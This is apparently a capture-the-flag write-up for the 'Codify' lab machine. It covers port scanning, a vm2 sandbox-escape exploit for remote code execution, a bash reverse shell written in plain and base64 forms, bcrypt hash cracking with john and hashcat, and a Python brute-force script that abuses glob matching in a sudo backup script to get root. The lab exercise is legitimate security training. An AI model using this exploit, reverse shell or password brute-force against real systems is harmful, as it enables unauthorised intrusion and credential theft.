[email protected]

Codify

linux ยท easy

Enumeration

We start by enumerating the ports that are open with nmap

(command explanation)

sudo nmap -p- --open -sS --min-rate 5000 -vvv -n -Pn --disable-arp-ping 10.10.11.239 -oG allPorts

PORT   STATE SERVICE REASON
22/tcp open  ssh     syn-ack ttl 63
80/tcp open  http    syn-ack ttl 63

then, we perform a scan by applying the default nmap scripts to the open ports.

(command explanation)

sudo nmap -p22,80 -sCV 10.10.11.239 -oN targeted

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.9p1 Ubuntu 3ubuntu0.4 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   256 96:07:1c:c6:77:3e:07:a0:cc:6f:24:19:74:4d:57:0b (ECDSA)
|_  256 0b:a4:c0:cf:e2:3b:95:ae:f6:f5:df:7d:0c:88:d6:ce (ED25519)
80/tcp open  http    Apache httpd 2.4.52
|_http-server-header: Apache/2.4.52 (Ubuntu)
|_http-title: Did not follow redirect to http://codify.htb/
Service Info: Host: codify.htb; OS: Linux; CPE: cpe:/o:linux:linux_kernel

as the machine redirects us to the domain codify.htb we add this domain name to our /etc/hosts file

echo "10.10.11.239 codify.htb" | sudo tee -a /etc/hosts
certificate icon previous icon next icon
certificate icon
share icon add icon settings icon

Exploitation

Within this web we find 3 links or categories:

Searching on the internet for vm2 exploit or vm2 vulnerability we found a link that explains how to escape the sandbox to obtain remote code execution (RCE) and at the same time we found out that the CVE associated to such vulnerability is CVE-2023-37466. When testing the PoC mentioned in that link, I failed to obtain the RCE. Therefore, I decided to try the one I found on another site, which finally allowed me to obtain the RCE.

err = {};
const handler = {
  getPrototypeOf(target) {
    (function stack() {
      new Error().stack;
      stack();
    })();
  }
};

const proxiedErr = new Proxy(err, handler);
try {
  throw proxiedErr;
} catch ({constructor: c}) {
  c.constructor('return process')().mainModule.require('child_process').execSync('<command>'); // replace <command> with your OS command
}
const { VM } = require("vm2");

const vm = new VM();
const code = ``; // you must put between the quotation marks the code of the previous block.
console.log(vm.run(code));
certificate icon previous icon next icon
certificate icon
share icon add icon settings icon

Playing a little with the previous code we managed to find out the following system information.

whoamisvc
hostnamecodify
shell/bin/bash
python3/usr/bin/python3
nc/usr/bin/nc
kernel version5.15.0-88-generic
system architecturex86_64
osUbuntu 22.04.3 LTS
codenamejammy

We establish the listening on port 5000 and launch our revershell created with this website

bash -i >& /dev/tcp/10.10.14.70/5000 0>&1

Since the command fails when typed as described in the previous block, we will write it in this other form, in base 64 so when decoded it will be interpreted by bash

echo "YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNC43MC81MDAwIDA+JjE=" | base64 -d | bash

this is the netcat listener that we must have running before executing the previous command to be able to receive the connection from our revershell

nc -lvnp 5000

Searching through the directories we found that in /var/www/contact we found a file named tickets.db that contains the hash of the password of the user joshua

svc@codify:/var/www/contact$ strings tickets.db

strings tickets.db
SQLite format 3
otableticketstickets
CREATE TABLE tickets (id INTEGER PRIMARY KEY AUTOINCREMENT, name TEXT, topic TEXT, description TEXT, status TEXT)P
Ytablesqlite_sequencesqlite_sequence
CREATE TABLE sqlite_sequence(name,seq)
	tableusersusers
CREATE TABLE users (
        id INTEGER PRIMARY KEY AUTOINCREMENT, 
        username TEXT UNIQUE, 
        password TEXT
    ))
indexsqlite_autoindex_users_1users
joshua$2a$12$SOn8Pf6z8fO/nVsNbAAequ/P6vLRJJl7gCUEiYBU2iLHn4G/p/Zw2
joshua
users
tickets
Joe WilliamsLocal setup?I use this site lot of the time. Is it possible to set this up locally? Like instead of coming to this site, can I download this and set it up in my own computer? A feature like that would be nice.open
Tom HanksNeed networking modulesI think it would be better if you can implement a way to handle network-based stuff. Would help me out a lot. Thanks!open

here are 2 commands, 1 with John and the other with Hashcat to crack the hash

john --format=bcrypt -w=/usr/share/wordlists/rockyou.txt hash.txt

spongebob1
hashcat -m 3200 -a 0 -O -d 1  hash.txt /usr/share/wordlists/rockyou.txt

$2a$12$SOn8Pf6z8fO/nVsNbAAequ/P6vLRJJl7gCUEiYBU2iLHn4G/p/Zw2:spongebob1

Finally we obtain the credentials joshua:spongebob1. We access by ssh and get the user flag.

joshua@codify:~$ cat user.txt
1ba70b6408985757822776ff529e11f6

Privilege escalation

With the following command, we list the possibilities that our user has to be able to execute scripts as superuser.

sudo -l

Matching Defaults entries for joshua on codify:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty

User joshua may run the following commands on codify:
    (root) /opt/scripts/mysql-backup.sh

we open the script /opt/scripts/mysql-backup.sh and after inspecting it, it seems that it is not doing a good credential check allowing us to infer the password.

#!/bin/bash
DB_USER="root"
DB_PASS=$(/usr/bin/cat /root/.creds)
BACKUP_DIR="/var/backups/mysql"

read -s -p "Enter MySQL password for $DB_USER: " USER_PASS
/usr/bin/echo

if [[ $DB_PASS == $USER_PASS ]]; then
  /usr/bin/echo "Password confirmed!"
else
  /usr/bin/echo "Password confirmation failed!"
  exit 1
fi

/usr/bin/mkdir -p "$BACKUP_DIR"

databases=$(/usr/bin/mysql -u "$DB_USER" -h 0.0.0.0 -P 3306 -p"$DB_PASS" -e "SHOW DATABASES;" | /usr/bin/grep -Ev "(Database|information_schema|performance_schema)")

for db in $databases; do
  /usr/bin/echo "Backing up database: $db"
  /usr/bin/mysqldump --force -u "$DB_USER" -h 0.0.0.0 -P 3306 -p"$DB_PASS" "$db" | /usr/bin/gzip > "$BACKUP_DIR/$db.sql.gz"
done

/usr/bin/echo "All databases backed up successfully!"
/usr/bin/echo "Changing the permissions"
/usr/bin/chown root:sys-adm "$BACKUP_DIR"
/usr/bin/chmod 774 -R "$BACKUP_DIR"
/usr/bin/echo 'Done!'

The problem lies in the fact that we are allowed to perform Pattern Matching allowing us to perform brute force to end up inferring the password. In order to obtain the password, we will use this python script that someone left on the machine. (I have slightly modified it)

import string
import subprocess

def check_password(p):
  """executes the script with the password applying pattern matching returning a boolean if it belongs or not to the password."""
	command = f"echo '{p}*' | sudo /opt/scripts/mysql-backup.sh"
	result = subprocess.run(command, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, text=True)
	return "Password confirmed!" in result.stdout

# charset = string with all letters and numbers
charset = string.ascii_letters + string.digits
password = ""
is_password_found = False

while not is_password_found:
	for char in charset:
		if check_password(password + char):
			password += char
			break
	else:
		is_password_found = True

print(password)

once we have the password kljh12k3jhaskjh12kjh3, we change the user to root

su root -
root@codify:/root# cat root.txt
bfb5c86d8eedc66d25b28fdaa74b793e